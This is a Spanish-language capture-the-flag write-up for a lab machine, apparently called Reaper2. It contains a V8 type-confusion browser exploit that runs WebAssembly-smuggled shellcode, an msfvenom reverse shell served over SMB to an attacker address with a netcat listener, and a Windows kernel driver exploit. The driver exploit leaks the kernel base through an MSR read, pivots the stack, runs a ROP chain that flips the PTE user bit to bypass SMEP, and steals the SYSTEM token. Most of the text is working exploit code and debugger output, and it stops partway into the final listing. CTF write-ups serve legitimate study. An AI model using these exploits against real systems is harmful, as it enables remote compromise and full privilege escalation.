00000290`0eb018bd 49bab86172656490eb07 mov     r10,7EB9064657261B8h
00000290`0eb018c7 c4c1f96ed2           vmovq   xmm2,r10
00000290`0eb018cc c5fb115dc0           vmovsd  qword ptr [rbp-40h],xmm3
00000290`0eb018d1 49ba48c1e0209090eb07 mov     r10,7EB909020E0C148h
00000290`0eb018db c4c1f96eda           vmovq   xmm3,r10
00000290`0eb018e0 c5fb1165b8           vmovsd  qword ptr [rbp-48h],xmm4
00000290`0eb018e5 49ba480d725c7368eb07 mov     r10,7EB68735C720D48h
00000290`0eb018ef c4c1f96ee2           vmovq   xmm4,r10
00000290`0eb018f4 c5fb116db0           vmovsd  qword ptr [rbp-50h],xmm5
00000290`0eb018f9 49ba509090909090eb07 mov     r10,7EB909090909050h
00000290`0eb01903 c4c1f96eea           vmovq   xmm5,r10
00000290`0eb01908 c5fb1175a8           vmovsd  qword ptr [rbp-58h],xmm6
00000290`0eb0190d 49bab85c75736590eb07 mov     r10,7EB906573755CB8h
00000290`0eb01917 c4c1f96ef2           vmovq   xmm6,r10
00000290`0eb0191c c5fb117da0           vmovsd  qword ptr [rbp-60h],xmm7
00000290`0eb01921 49ba9048c1e02090eb07 mov     r10,7EB9020E0C14890h
00000290`0eb0192b c4c1f96efa           vmovq   xmm7,r10
00000290`0eb01930 c5fb114598           vmovsd  qword ptr [rbp-68h],xmm0
00000290`0eb01935 49ba480d2e313030eb07 mov     r10,7EB3030312E0D48h
00000290`0eb0193f c4c1f96ec2           vmovq   xmm0,r10
00000290`0eb01944 c5fb114d90           vmovsd  qword ptr [rbp-70h],xmm1
00000290`0eb01949 49ba905090909090eb07 mov     r10,7EB909090905090h
00000290`0eb01953 c4c1f96eca           vmovq   xmm1,r10
00000290`0eb01958 c5fb115588           vmovsd  qword ptr [rbp-78h],xmm2
00000290`0eb0195d 49bab82e382e3090eb07 mov     r10,7EB90302E382EB8h
00000290`0eb01967 c4c1f96ed2           vmovq   xmm2,r10
00000290`0eb0196c c5fb115d80           vmovsd  qword ptr [rbp-80h],xmm3
00000290`0eb01971 49ba909048c1e020eb07 mov     r10,7EB20E0C1489090h
00000290`0eb0197b c4c1f96eda           vmovq   xmm3,r10
00000290`0eb01980 c5fb11a578ffffff     vmovsd  qword ptr [rbp-88h],xmm4
00000290`0eb01988 49ba480d5c5c3130eb07 mov     r10,7EB30315C5C0D48h
00000290`0eb01992 c4c1f96ee2           vmovq   xmm4,r10
00000290`0eb01997 c5fb11ad70ffffff     vmovsd  qword ptr [rbp-90h],xmm5
00000290`0eb0199f 49ba909050909090eb07 mov     r10,7EB909090509090h
00000290`0eb019a9 c4c1f96eea           vmovq   xmm5,r10
00000290`0eb019ae c5fb11b568ffffff     vmovsd  qword ptr [rbp-98h],xmm6
00000290`0eb019b6 49ba4889e16a055aeb07 mov     r10,7EB5A056AE18948h
00000290`0eb019c0 c4c1f96ef2           vmovq   xmm6,r10
00000290`0eb019c5 c5fb11bd60ffffff     vmovsd  qword ptr [rbp-0A0h],xmm7
00000290`0eb019cd 49ba4883ec30ffd30000 mov     r10,0D3FF30EC8348h
00000290`0eb019d7 c4c1f96efa           vmovq   xmm7,r10
00000290`0eb019dc 4c8b5677             mov     r10,qword ptr [rsi+77h]
00000290`0eb019e0 41812adc010000       sub     dword ptr [r10],1DCh
00000290`0eb019e7 0f8813000000         js      00000290`0eb01a00
00000290`0eb019ed 488be5               mov     rsp,rbp
00000290`0eb019f0 5d                   pop     rbp
00000290`0eb019f1 c3                   ret

En los primeros ejecutaremos la instrucción jmp será de 9 bytes más adelante, los siguientes saltarán 5 bytes más adelante y los últimos 8 bytes más que el primero

for i in range(len(shellcode)):
    shellcode[i] = shellcode[i].ljust(6, asm("nop"))
    if i != len(shellcode) - 1:
        if i < 7:
            shellcode[i] += asm("jmp $+0x9")
        elif i > 6 and i < 19:
            shellcode[i] += asm("jmp $+0xe")
        elif i > 18:
            shellcode[i] += asm("jmp $+0x11")

    shellcode[i] = int(shellcode[i][::-1].hex(), 16)  
    print(hex(shellcode[i]) + "n,")

Entonces obtenemos los qwords y luego de pasarlo a wasm obtenemos el array de enteros, luego sobrescribimos la jump_table_start con la dirección del shellcode

❯ python3 shellcode.py  
0x7eb909090c93148n,
0x7eb9060718b4865n,
0x7eb909018768b48n,
0x7eb909020768b48n,
0x7eb90ad48368b48n,
0x7eb909020588b48n,
0x7eb9000001280b9n,
0xceb909090cb0148n,
0xceb906578652e68n,
0xceb909090c03148n,
0xceb9064657261b8n,
0xceb909020e0c148n,
0xceb68735c720d48n,
0xceb909090909050n,
0xceb906573755cb8n,
0xceb9020e0c14890n,
0xceb3030312e0d48n,
0xceb909090905090n,
0xceb90302e382eb8n,
0xfeb20e0c1489090n,
0xfeb30315c5c0d48n,
0xfeb909090509090n,
0xfeb5a056ae18948n,
0xd3ff30ec8348n,

let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 222, 1, 1, 219, 1, 0, 68, 72, 49, 201, 144, 144, 144, 235, 7, 68, 101, 72, 139, 113, 96, 144, 235, 7, 68, 72, 139, 118, 24, 144, 144, 235, 7, 68, 72, 139, 118, 32, 144, 144, 235, 7, 68, 72, 139, 54, 72, 173, 144, 235, 7, 68, 72, 139, 88, 32, 144, 144, 235, 7, 68, 185, 128, 18, 0, 0, 144, 235, 7, 68, 72, 1, 203, 144, 144, 144, 235, 12, 68, 104, 46, 101, 120, 101, 144, 235, 12, 68, 72, 49, 192, 144, 144, 144, 235, 12, 68, 184, 97, 114, 101, 100, 144, 235, 12, 68, 72, 193, 224, 32, 144, 144, 235, 12, 68, 72, 13, 114, 92, 115, 104, 235, 12, 68, 80, 144, 144, 144, 144, 144, 235, 12, 68, 184, 92, 117, 115, 101, 144, 235, 12, 68, 144, 72, 193, 224, 32, 144, 235, 12, 68, 72, 13, 46, 49, 48, 48, 235, 12, 68, 144, 80, 144, 144, 144, 144, 235, 12, 68, 184, 46, 56, 46, 48, 144, 235, 12, 68, 144, 144, 72, 193, 224, 32, 235, 15, 68, 72, 13, 92, 92, 49, 48, 235, 15, 68, 144, 144, 80, 144, 144, 144, 235, 15, 68, 72, 137, 225, 106, 5, 90, 235, 15, 68, 72, 131, 236, 48, 255, 211, 0, 0, 15, 11]);  

let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;

let wasmInstance_addr = addrof(wasmInstance);
let jump_table_start = ftoi(aar(wasmInstance_addr + 0x47n));
aaw(wasmInstance_addr + 0x47n, jump_table_start + 0x81an); // overwrite instruction pointer

main(); // execute shellcode

Al llamar a la función main sabemos que se ejecuta el shellcode y eventualmente llega al WinExec que ejecutará un archivo exe cargado desde un recurso smb

0:000> bp kernel32!WinExec
breakpoint 0 redefined

0:000> g
Breakpoint 0 hit
KERNEL32!WinExec:
00007ffd`d18b8600 488bc4          mov     rax,rsp  

0:000> da rcx
00000041`9c3fe4f0  "\\10.8.0.100\user\shared.exe"

0:000> r rdx
rdx=0000000000000005

El exploit final a través un type confusión nos da una primitiva de escritura que nos permite sobrescribir la jump_table_start con la dirección del shellcode que cargará el archivo exe del recurso smb que controlamos y ejecutará una reverse shell

let fi_buf = new ArrayBuffer(8);
let f_buf = new Float64Array(fi_buf);
let i_buf = new BigUint64Array(fi_buf);

function ftoi(f) {
    f_buf[0] = f;
    return i_buf[0];
}

function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}

function hex(i) {
    return '0x' + i.toString(16);
}

function aar(addr) {
    elements = addr - 8n + 1n;
    fake_arr_struct[2] = itof(elements | length << 32n);
    return fake_arr[0];
}

function aaw(addr, value) {
    elements = addr - 8n + 1n;
    fake_arr_struct[2] = itof(elements | length << 32n);
    fake_arr[0] = itof(value);
}

function addrof(obj) {
    obj_arr[0] = obj;
    return ftoi(aar(obj_arr_addr)) & 0xffffffffn;
}

let receiver = new Set();
let other = new Set();

for (let i = 0; i < 32; i++) {
    receiver.add(i);
}

let fake_arr_struct;
let obj_arr;

other.keys = () => {
    fake_arr_struct = [1.1, 2.2, 3.3];
    receiver.add(32);
    obj_arr = [{}];
    return other[Symbol.iterator]();
}

let result = receiver.symmetricDifference(other);

let map = 0x10ed71n;
let properties = 0x6cdn;
let elements = 0x41414141n;
let length = 1n << 1n;

fake_arr_struct[1] = itof(map | properties << 32n);
fake_arr_struct[2] = itof(elements | length << 32n);

for (let i = 0; i < 0x10; i++) {
    result.delete(i);
}

let fake_arr = result.size;

let marker;
let leaked;

marker = 0x4141414141414141n;
fake_arr_struct[0] = itof(marker);

let fake_arr_addr = 0x4a000n;

for (let i = 0; i < 0x1000; i++) {
    leaked = ftoi(aar(fake_arr_addr));
    if (leaked == marker) break;
    fake_arr_addr += 4n;
}

fake_arr_addr += 8n;

marker = fake_arr_addr + 1n;
obj_arr[0] = fake_arr;

let obj_arr_addr = fake_arr_addr + 0x30n;

for (let i = 0; i < 0x1000; i++) {
    leaked = ftoi(aar(obj_arr_addr)) & 0xffffffffn;
    if (leaked == marker) break;
    obj_arr_addr += 4n;
}

let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 222, 1, 1, 219, 1, 0, 68, 72, 49, 201, 144, 144, 144, 235, 7, 68, 101, 72, 139, 113, 96, 144, 235, 7, 68, 72, 139, 118, 24, 144, 144, 235, 7, 68, 72, 139, 118, 32, 144, 144, 235, 7, 68, 72, 139, 54, 72, 173, 144, 235, 7, 68, 72, 139, 88, 32, 144, 144, 235, 7, 68, 185, 128, 18, 0, 0, 144, 235, 7, 68, 72, 1, 203, 144, 144, 144, 235, 12, 68, 104, 46, 101, 120, 101, 144, 235, 12, 68, 72, 49, 192, 144, 144, 144, 235, 12, 68, 184, 97, 114, 101, 100, 144, 235, 12, 68, 72, 193, 224, 32, 144, 144, 235, 12, 68, 72, 13, 114, 92, 115, 104, 235, 12, 68, 80, 144, 144, 144, 144, 144, 235, 12, 68, 184, 92, 117, 115, 101, 144, 235, 12, 68, 144, 72, 193, 224, 32, 144, 235, 12, 68, 72, 13, 46, 49, 48, 48, 235, 12, 68, 144, 80, 144, 144, 144, 144, 235, 12, 68, 184, 46, 56, 46, 48, 144, 235, 12, 68, 144, 144, 72, 193, 224, 32, 235, 15, 68, 72, 13, 92, 92, 49, 48, 235, 15, 68, 144, 144, 80, 144, 144, 144, 235, 15, 68, 72, 137, 225, 106, 5, 90, 235, 15, 68, 72, 131, 236, 48, 255, 211, 0, 0, 15, 11]);  
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;

let wasmInstance_addr = addrof(wasmInstance);
let jump_table_start = ftoi(aar(wasmInstance_addr + 0x47n));
aaw(wasmInstance_addr + 0x47n, jump_table_start + 0x81an);

main();

Entonces simplemente podemos crear el archivo malicioso con msfvenom y lo compartimos a través del recurso smb, al enviar el exploit recibimos una revshell

❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.0.100 LPORT=443 -f exe -o shared.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shared.exe

❯ sudo impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.122.10,49864)
[*] AUTHENTICATE_MESSAGE (REAPER2\www,REAPER2)
[*] User REAPER2\www authenticated successfully
[*] www::REAPER2:aaaaaaaaaaaaaaaa:609972cb6621f7acd275c8ae15b98317:01010000000000000062f7157a61db018d12269761713b42000000000100100051005800470050007a006f0051004f000300100051005800470050007a006f0051004f0002001000630070006d0071004d0062007200640004001000630070006d0071004d00620072006400070008000062f7157a61db0106000400020000000800300030000000000000000000000000200000d315e0c9d8f68c15cd99f8ee3fdef1c4563c64203e40b4a3d1c1068bf9ad82bb0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e0038002e0033002e003100310035000000000000000000  
[*] Connecting Share(1:user)
[*] Disconnecting Share(1:user)
[*] Closing down connection (10.10.122.10,49864)
[*] Remaining connections []

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.122.10 49947
Microsoft Windows [Version 10.0.20348.2402]
(c) Microsoft Corporation. All rights reserved.  

C:\> whoami
reaper2\www

C:\>


Shell - system


En C:\dev podemos encontrar un controlador Reaper.sys, probablemente sea para la escalada asi que lo descargamos igual que el ntoskrnl.exe para calcular offsets

C:\dev> dir
 Volume in drive C has no label.
 Volume Serial Number is DC77-4AA2

 Directory of C:\dev

04/28/2024  11:29 AM    <DIR>          .
04/27/2024  03:31 AM             8,944 Reaper.sys
               1 File(s)          8,944 bytes
               1 Dir(s)   7,015,694,336 bytes free

C:\dev> copy Reaper.sys \\10.8.0.100\user\Reaper.sys
        1 file(s) copied.

C:\dev> copy C:\Windows\System32\ntoskrnl.exe \\10.8.0.100\user\ntoskrnl.exe  
        1 file(s) copied.

C:\dev>

Abrimos el driver en IDA, la función DriverEntry inicia llamando a 2 funciones sin simbolos, la primera solo comprueba una cookie asi que vamos con la segunda

La función sub_11c8 inicia llamando a RtlGetVersion que se utiliza para obtener información sobre el sistema operativo que se está ejecutando actualmente

La interfaz con la que podemos comunicarnos con el driver son las llamadas ioctl, al instalar un driver utilizando la función IoCreateDevice se establece un nombre de dispositivo, en el siguiente bloque podemos ver que se establece a \\\\.\\Reaper

Cada función se identifica con un código ioctl, el driver acepta este tipo de llamadas usando estructuras de tipo IRP o I/O Request Packets, en este bloque podemos ver que la función establecida para encargarse de esta tarea es sub_1020, esta inicia haciendo comparaciones de varios códigos ioctl con sus saltos condicionales

Si el código ioctl es 0x80002003 realiza una comparación de un valor Magic con el dword 0x6a55cc9e, si se cumple llama ExAllocatePoolWithTag que asigna un espacio en memoria del tipo NonPagedPool con un tamaño total de 0x28 y el tag paeR

Luego de ello crea una estructura ReaperData con valores en diferentes offsets, el primero de ellos es el valor Magic que tenemos que cumplir, algunos otros valores interesantes son campos de direcciones las cuales nos servirán más adelante

Podemos definirlo en C como una estructura donde los primeros 3 valores son dwords, luego un dword sin usar y finalmente las direcciones con sus tamaños

typedef struct ReaperData {
    DWORD Magic;
    DWORD ThreadId;
    DWORD Priority;
    DWORD Empty;
    QWORD ExecAddress;
    DWORD SrcRegister;
    QWORD DstAddress;
} ReaperData

Si el código ioctl es igual a 0x80002007 llama a la función ExFreePoolWithTag que libera el bloque de memoria del pool que se asigno con el tag anteriormente

Cuando el código es 0x8000200f se ejecuta la instrucción rdmsr que lee el valor de un registro MSR que le pasemos depositando su valor en el campo DstAddress

El código 0x8000200b llama a PsLookupThreadByThreadId acepta el id de un hilo y devuelve el puntero a la estructura ETHREAD, luego llama a KeSetPriorityThread establece la prioridad de tiempo de ejecución del hilo creado, finalmente llama a la función ObDeferenceObject disminuye el numero de referencias al objeto dado

Luego de guardar en rax llama a la función _guard_dispatch_icall_nop que ejecuta una instrucción jmp rax, podemos controlar una dirección para que se ejecute

Entonces, tenemos 3 códigos ioctl, 2 de ellos para asignar y liberar un bloque de memoria, otro nos permite leer un registro MSR y otro ejecutar cualquier dirección

#define IOCTL_EXEC 0x8000200b
#define IOCTL_FREE 0x80002007
#define IOCTL_ALLOC 0x80002003
#define IOCTL_READMSR 0x8000200f

La función ExecuteAddress nos permite ejecutar una dirección, el primer valor es Magic que necesitamos para cumplir la condición, a ThreadId le pasamos el id actual, el Priority podemos establecerlo a 0 la dirección que se recibe como argumento la pasamos en el campo ExecAddress y luego de eso llamamos a los 3 códigos ioctl los cuales nos llevarán a la ejecución de esta dirección

VOID ExecuteAddress(HANDLE hDevice, QWORD addr) {
    ReaperData userData;
    
    userData.Magic = 0x6a55cc9e;
    userData.ThreadId = GetCurrentThreadId();
    userData.Priority = 0;
    userData.ExecAddress = addr;

    DeviceIoControl(hDevice, IOCTL_ALLOC, (LPVOID) &userData, sizeof(struct ReaperData), NULL, 0, NULL, NULL);  
    DeviceIoControl(hDevice, IOCTL_EXEC, (LPVOID) &userData, sizeof(struct ReaperData), NULL, 0, NULL, NULL);
    DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
}

La función ReadMSR recibe el registro a leer como argumento que le pasamos en el campo SrcRegister y en DstAddress la dirección donde almacenará su valor, si la dirección de destino apunta a la variable output podemos obtener su valor

QWORD ReadMSR(HANDLE hDevice, DWORD reg) {
    QWORD output;
    ReaperData userData;

    userData.Magic = 0x6a55cc9e;
    userData.ThreadId = GetCurrentThreadId();
    userData.Priority = 0;
    userData.SrcRegister = reg;
    userData.DstAddress = (QWORD) &output;

    DeviceIoControl(hDevice, IOCTL_ALLOC, (LPVOID) &userData, sizeof(struct ReaperData), NULL, 0, NULL, NULL);
    DeviceIoControl(hDevice, IOCTL_READMSR, (LPVOID) &userData, sizeof(struct ReaperData), NULL, 0, NULL, NULL);  
    DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);

    return output;
}

La función main llama a ExecuteAddress hacia la dirección 0x4141414141414141, lo ejecutamos y al llegar al jmp rax intenta saltar a la dirección que le pasamos

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\Reaper", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    ExecuteAddress(hDevice, 0x4141414141414141);
    CloseHandle(hDevice);
}

0: kd> bp Reaper + 0x1500

0: kd> g
Breakpoint 0 hit
Reaper+0x1500:
fffff806`2e041500 ffe0            jmp     rax  

0: kd> r rax
rax=4141414141414141

El shellcode de token stealing copiará el token del proceso System hacia el proceso actual, antes de ejecutar el ret restauraremos el stack desde el registro rdx

BYTE tokenStealing[64] = {
    0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rax, [gs:0x188]              ; $rax = _KTHREAD
    0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00,             // mov rax, [rax + 0xb8]            ; $rax = _EPROCESS
    0x50, 0x5b,                                           // mov rbx, rax                     ; $rbx = _EPROCESS
                                                          // .loop:
    0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00,             //     mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
    0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00,             //     sub rbx, 0x448               ; $rbx = _EPROCESS
    0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04,       //     cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
    0x75, 0xe8,                                           //     jnz .loop                    ; if zf == 0 -> loop
    0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00,             // mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    0x80, 0xe1, 0xf0,                                     // and cl, 0xf0                     ; clear _EX_FAST_REF struct
    0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,             // mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS  
    0x48, 0x8d, 0x62, 0xe8,                               // lea rsp, [rdx - 0x18]            ; clear stack
    0xc3                                                  // ret                              ; return
};

LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));

Sin embargo debido a la protección SMEP no podemos retornar a una dirección en memoria de usuario, para ello necesitamos hacer rop y para ello la base del kernel, lo mas sencillo seria usar EnumDeviceDrivers pero esto solo funciona en Medium

QWORD GetKernelBase() {
    LPVOID drivers[1024];
    DWORD cbNeeded;

    EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);  
    return (QWORD) drivers[0];
}

Esto no funcionará debido a que la shell de www está en un nivel de integridad Low, por lo que no tenemos privilegios obtener la base de los módulos de esta forma

C:\dev> whoami /groups | findstr Label

Mandatory Label\Low Mandatory Level Label            S-1-16-4096  

C:\dev>

La lectura de registros MSR nos servirá en esto, el registro LSTAR siempre apunta a la dirección de la función KiSystemCall64 que está en el módulo nt, si leemos su contenido y restamos el offset podemos obtener la dirección base del kernel

0: kd> ? nt!KiSystemCall64 - nt
Evaluate expression: 4416448 = 00000000`004363c0  

#define REGISTER_LSTAR 0xC0000082
#define OFFSET_KiSystemCall64 0x4363c0  

Para ello podemos llamar a la función ReadMSR para leer el contenido del registro LSTAR, restamos el offset y esto nos permite mostrar la dirección base del kernel

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\Reaper", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    QWORD KiSystemCall64 = ReadMSR(hDevice, REGISTER_LSTAR);
    QWORD kernelBase = KiSystemCall64 - OFFSET_KiSystemCall64;
    printf("[*] Kenel Base: 0x%llx\n", kernelBase);

    CloseHandle(hDevice);
}

PS C:\Users\user\Desktop> .\exploit.exe  
[*] Kenel Base: 0xfffff80630808000
PS C:\Users\user\Desktop>

Con la dirección base del kernel ya podemos armar una cadena rop pero para ejecutarla necesitamos controlar el stack, podemos ejecutar un stack pivot en la dirección que ejecutamos que retorne a un espacio en memoria de user mode

❯ ropper --file ntoskrnl.exe --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(ntoskrnl.exe/PE/x86_64)> search mov esp, 0x48000000;
[INFO] Searching for gadgets: mov esp, 0x48000000;

[INFO] File: ntoskrnl.exe
0x00000000003739b0: mov esp, 0x48000000; add esp, 0x28; ret;  

(ntoskrnl.exe/PE/x86_64)>

Ya que tenemos un lugar a donde retornar usamos VirtualAlloc para reservar un espacio en memoria de usuario donde escribiremos algunos qwords, luego usamos VirtualLock para bloquearlo evitando un BSOD y ejecutamos el stack pivot

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\Reaper", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    QWORD KiSystemCall64 = ReadMSR(hDevice, REGISTER_LSTAR);
    QWORD kernelBase = KiSystemCall64 - OFFSET_KiSystemCall64;

    LPVOID pivot = VirtualAlloc((LPVOID) (0x48000000 - 0x1000), 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  
    VirtualLock(pivot, 0x10000);

    QWORD *rop = (QWORD *) ((QWORD) 0x48000000 + 0x28);
    *rop++ = 0x4141414141414141;
    *rop++ = 0x4242424242424242;
    *rop++ = 0x4343434343434343;
    *rop++ = 0x4444444444444444;

    ExecuteAddress(hDevice, kernelBase + 0x3739b0); // mov esp, 0x48000000; add esp, 0x28; ret;
    CloseHandle(hDevice);
}

Establecemos un breakpoint en el gadget del pivot, al llegar ahí y avanzar hasta el ret el registro rsp deberia apuntar a memoria de usuario en 0x48000028 y al retornar lo hará a los qwords que escribimos, podemos escribir un ropchain ahí

0: kd> bp nt + 0x2c45c0

0: kd> g
Breakpoint 0 hit
nt!ExfReleasePushLock+0x20:
fffff805`0d6d55c0 bc00000048      mov     esp,48000000h  

0: kd> pt
nt!ExfReleasePushLock+0x28:
fffff805`0d6d55c8 c3              ret

0: kd> r rsp
rsp=0000000048000028

0: kd> dqs rsp L4
00000000`48000028  41414141`41414141
00000000`48000030  42424242`42424242
00000000`48000038  43434343`43434343
00000000`48000040  44444444`44444444

La protección SMEP evita que se pueda ejecutar memoria en espacio de usuario, el que esté activo se controla desde el bit 20 del registro cr4, podriamos modificar su valor y deshabilitarlo pero el PatchGuard será un problema si no se restaura

Algo a tener en cuenta es SMEP solo funciona cuando la página es marcada como espacio de usuario, si el bit 2 o U/S de la PTE esta deshabilitado tratará la página como memoria de kernel por lo que ni siquiera deberia molestarse en verificarlo

Para obtener la PTE de la página donde se encuentra el shellcode podemos usar la función MiGetPteAddress que se encuentra en el offset 0x31e2c4 a partir de nt

Guardamos en el registro rcx el argumento para GetMiPteAddress la dirección de la memoria reservada para el shellcode, esto retornará la PTE de esa página

*rop++ = kernelBase + 0x2084f6; // pop rcx; ret;
*rop++ = (QWORD) shellcode;     // Token Stealing
*rop++ = kernelBase + 0x31e2c4; // MiGetPteAddress  

Como estamos modificando las tablas de paginación, usaremos el gadget wbinvd para invalidar las TLB y carga de nuevo las tablas evitando asi un posible BSOD

*rop++ = kernelBase + 0x38b490; // wbinvd; ret;
*rop++ = (QWORD) shellcode;     // Token Stealing  

Establecemos un breakpoint luego de la llamada en el wbinvd; ret; luego de este gadget en el stack deberia encontrarse el qword de nuestro shellcode a ejecutar

0: kd> bp nt + 0x386660

0: kd> g
Breakpoint 0 hit
nt!HalpAcpiFlushCache:
fffff806`23b86660 0f09            wbinvd

0: kd> u poi(rsp)
0000027a`5b850000 65488b042588010000 mov     rax,qword ptr gs:[188h]
0000027a`5b850009 488b80b8000000     mov     rax,qword ptr [rax+0B8h]  
0000027a`5b850010 50                 push    rax
0000027a`5b850011 5b                 pop     rbx
0000027a`5b850012 488b9b48040000     mov     rbx,qword ptr [rbx+448h]  
0000027a`5b850019 4881eb48040000     sub     rbx,448h
0000027a`5b850020 4883bb4004000004   cmp     qword ptr [rbx+440h],4
0000027a`5b850028 75e8               jne     0000027a`5b850012

El valor de retorno en rax de la función es la dirección de la PTE de esa página, podemos ver una U que indica que la página pertenece a un espacio de usuario

0: kd> dqs rax L1
ffffb981`3d2dc280  00000000`a5ad5867

0: kd> !pte poi(rsp)
                                           VA 0000027a5b850000
PXE at FFFFB9DCEE773020    PPE at FFFFB9DCEE604F48    PDE at FFFFB9DCC09E96E0    PTE at FFFFB9813D2DC280
contains 0A000000A065F867  contains 0A000000A3A60867  contains 0A000000A377E867  contains 00000000A5AD5867
pfn a065f     ---DA--UWEV  pfn a3a60     ---DA--UWEV  pfn a377e     ---DA--UWEV  pfn a5ad5     ---DA--UWEV  

El único byte que se mantiene constante es el 0x67, si lo convertimos a formato binario podemos saber cuales de los 8 bits están encendidos o apagados

0: kd> db rax L8
ffffb981`3d2dc280  67 58 ad a5 00 00 00 00                          gX......

0:000> .formats 0x67 
Evaluate expression:
  Hex:     00000000`00000067
  Decimal: 103
  Decimal (unsigned) : 103
  Octal:   0000000000000000000147
  Binary:  00000000 00000000 00000000 00000000 00000000 00000000 00000000 01100111  
  Chars:   .......g
  Time:    Wed Dec 31 18:01:43 1969
  Float:   low 1.44334e-043 high 0
  Double:  5.08888e-322

De los bits que están prendidos podemos ver al 0 que la página está en memoria física, el bit 1 controla los permisos de escritura, el bit 5 que la página ha sido leída y finalmente el 6 que la página ha sido escrita, en realidad nos interesa el 2

Si deshabiitamos el bit 2 indicará que la página no se podrá acceder desde modo de usuario sino solo por kernel, podemos ver que el byte cambia el valor a 0x63

0:000> ? 0y01100111
Evaluate expression: 103 = 00000000`00000067  

0:000> ? 0y01100011
Evaluate expression: 99 = 00000000`00000063

Nuestra cadena rop evita la protección SMEP obteniendo la PTE de la página en donde se encuentra el shelcode, modifica el byte deshabilitando el bit 2 de U/S, luego sobrescribe la PTE con el nuevo valor, invalida la caché y salta al shellcode

*rop++ = kernelBase + 0x2084f6; // pop rcx; ret;
*rop++ = (QWORD) shellcode;     // Token Stealing
*rop++ = kernelBase + 0x31e2c4; // MiGetPteAddress
*rop++ = kernelBase + 0x2084f6; // pop rcx; ret;
*rop++ = 0x63;                  // U/S bit off (2)
*rop++ = kernelBase + 0x44b611; // mov [rax], cl; ret;  
*rop++ = kernelBase + 0x38b490; // wbinvd; ret;
*rop++ = (QWORD) shellcode;     // Token Stealing

Establecemos un breakpoint luego de la cadena rop, podemos ver que el primer byte de la PTE se ha modificado a 0x63 deshabilitando el bit 2 de U/S

0: kd> bp nt + 0x386660

0: kd> g
Breakpoint 0 hit
nt!HalpAcpiFlushCache:
fffff802`7cb86660 0f09            wbinvd

0: kd> db rax L8
fffff701`49a53100  63 b8 0a 9f 00 00 00 00                          c.......  

De esta forma ese espacio en memoria se considera memoria de kernel por lo que SMEP no deberia afectarnos ya que ni siquiera intentara hacer las comprobaciones

0: kd> !pte poi(rsp)
                                           VA 000002934a620000
PXE at FFFFF77BBDDEE028    PPE at FFFFF77BBDC05268    PDE at FFFFF77B80A4D298    PTE at FFFFF70149A53100
contains 0A0000009F03B867  contains 0A0000009F03C867  contains 0A0000009F07B867  contains 000000009F0AB863
pfn 9f03b     ---DA--UWEV  pfn 9f03c     ---DA--UWEV  pfn 9f07b     ---DA--UWEV  pfn 9f0ab     ---DA--KWEV  

El exploit final obtiene la dirección base del kernel leyendo un registro MSR, luego ejecuta un stack pivot para ejecutar una cadena rop que evita SMEP modificando la PTE para convetirla en memoria de kernel, luego salta al shellcode que escribimos

#include <stdio.h>
#include <windows.h>

#define IOCTL_EXEC 0x8000200b
